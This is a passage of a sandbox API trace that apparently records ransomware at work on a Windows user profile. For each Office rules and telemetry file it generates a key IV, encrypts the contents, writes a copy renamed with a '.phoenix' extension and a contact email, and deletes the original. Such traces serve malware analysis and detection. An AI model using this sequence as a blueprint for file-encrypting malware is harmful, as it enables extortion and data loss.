	[0267.305] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.305] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0267.305] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.305] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x112, lpOverlapped=0x0) returned 1
	[0267.305] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0267.305] CloseHandle (hObject=0x2b0) returned 1
	[0267.305] CloseHandle (hObject=0x2e8) returned 1
	[0267.305] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml")) returned 1
	[0267.306] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.318] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=164930) returned 1
	[0267.318] CloseHandle (hObject=0x2e4) returned 1
	[0267.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml")) returned 0x20
	[0267.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.318] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.318] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.320] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0267.320] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.320] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x28442, lpOverlapped=0x0) returned 1
	[0267.338] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x28450, dwBufLen=0x28450 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x28450) returned 1
	[0267.338] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x28450, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x28450, lpOverlapped=0x0) returned 1
	[0267.341] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0267.341] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.341] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.341] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.341] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.342] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.342] CloseHandle (hObject=0x2e4) returned 1
	[0267.342] CloseHandle (hObject=0x2c4) returned 1
	[0267.342] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml")) returned 1
	[0267.344] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.344] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.347] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=29411) returned 1
	[0267.347] CloseHandle (hObject=0x2c4) returned 1
	[0267.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml")) returned 0x20
	[0267.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.347] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.348] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.348] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.348] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.348] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0267.349] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.349] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x72e3, lpOverlapped=0x0) returned 1
	[0267.379] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x72f0, dwBufLen=0x72f0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x72f0) returned 1
	[0267.379] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x72f0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x72f0, lpOverlapped=0x0) returned 1
	[0267.380] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0267.380] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.381] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.381] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.381] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.381] CryptDestroyKey (hKey=0x151640) returned 1
	[0267.381] CloseHandle (hObject=0x2c4) returned 1
	[0267.381] CloseHandle (hObject=0x2e4) returned 1
	[0267.381] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml")) returned 1
	[0267.382] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.391] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=244735) returned 1
	[0267.391] CloseHandle (hObject=0x2b0) returned 1
	[0267.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml")) returned 0x20
	[0267.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.391] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.391] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.396] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0267.396] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.396] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3bbff, lpOverlapped=0x0) returned 1
	[0267.509] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3bc00, dwBufLen=0x3bc00 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3bc00) returned 1
	[0267.509] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3bc00, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3bc00, lpOverlapped=0x0) returned 1
	[0267.513] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0267.513] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.513] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.513] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.513] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.513] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.513] CloseHandle (hObject=0x2b0) returned 1
	[0267.513] CloseHandle (hObject=0x2e8) returned 1
	[0267.513] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml")) returned 1
	[0267.515] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.525] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=128) returned 1
	[0267.525] CloseHandle (hObject=0x2e4) returned 1
	[0267.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat")) returned 0x20
	[0267.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.525] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.525] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.533] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0267.533] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.533] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x80, lpOverlapped=0x0) returned 1
	[0267.534] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0267.534] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x90, lpOverlapped=0x0) returned 1
	[0267.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0267.535] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.535] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0267.535] CryptDestroyKey (hKey=0x151180) returned 1
	[0267.535] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x172, lpOverlapped=0x0) returned 1
	[0267.605] CryptDestroyKey (hKey=0x151100) returned 1
	[0267.605] CloseHandle (hObject=0x2e4) returned 1
	[0267.606] CloseHandle (hObject=0x254) returned 1
	[0267.606] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otele.dat")) returned 1
	[0267.607] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.608] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=630) returned 1
	[0267.608] CloseHandle (hObject=0x254) returned 1
	[0267.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat")) returned 0x20
	[0267.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.608] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.608] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (0) - 3932 - excel.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (0) - 3932 - excel.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.609] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0267.609] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.609] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x276, lpOverlapped=0x0) returned 1
	[0267.611] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x280, dwBufLen=0x280 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x280) returned 1
	[0267.611] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x280, lpOverlapped=0x0) returned 1
	[0267.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0267.612] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.612] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0267.612] CryptDestroyKey (hKey=0x151540) returned 1
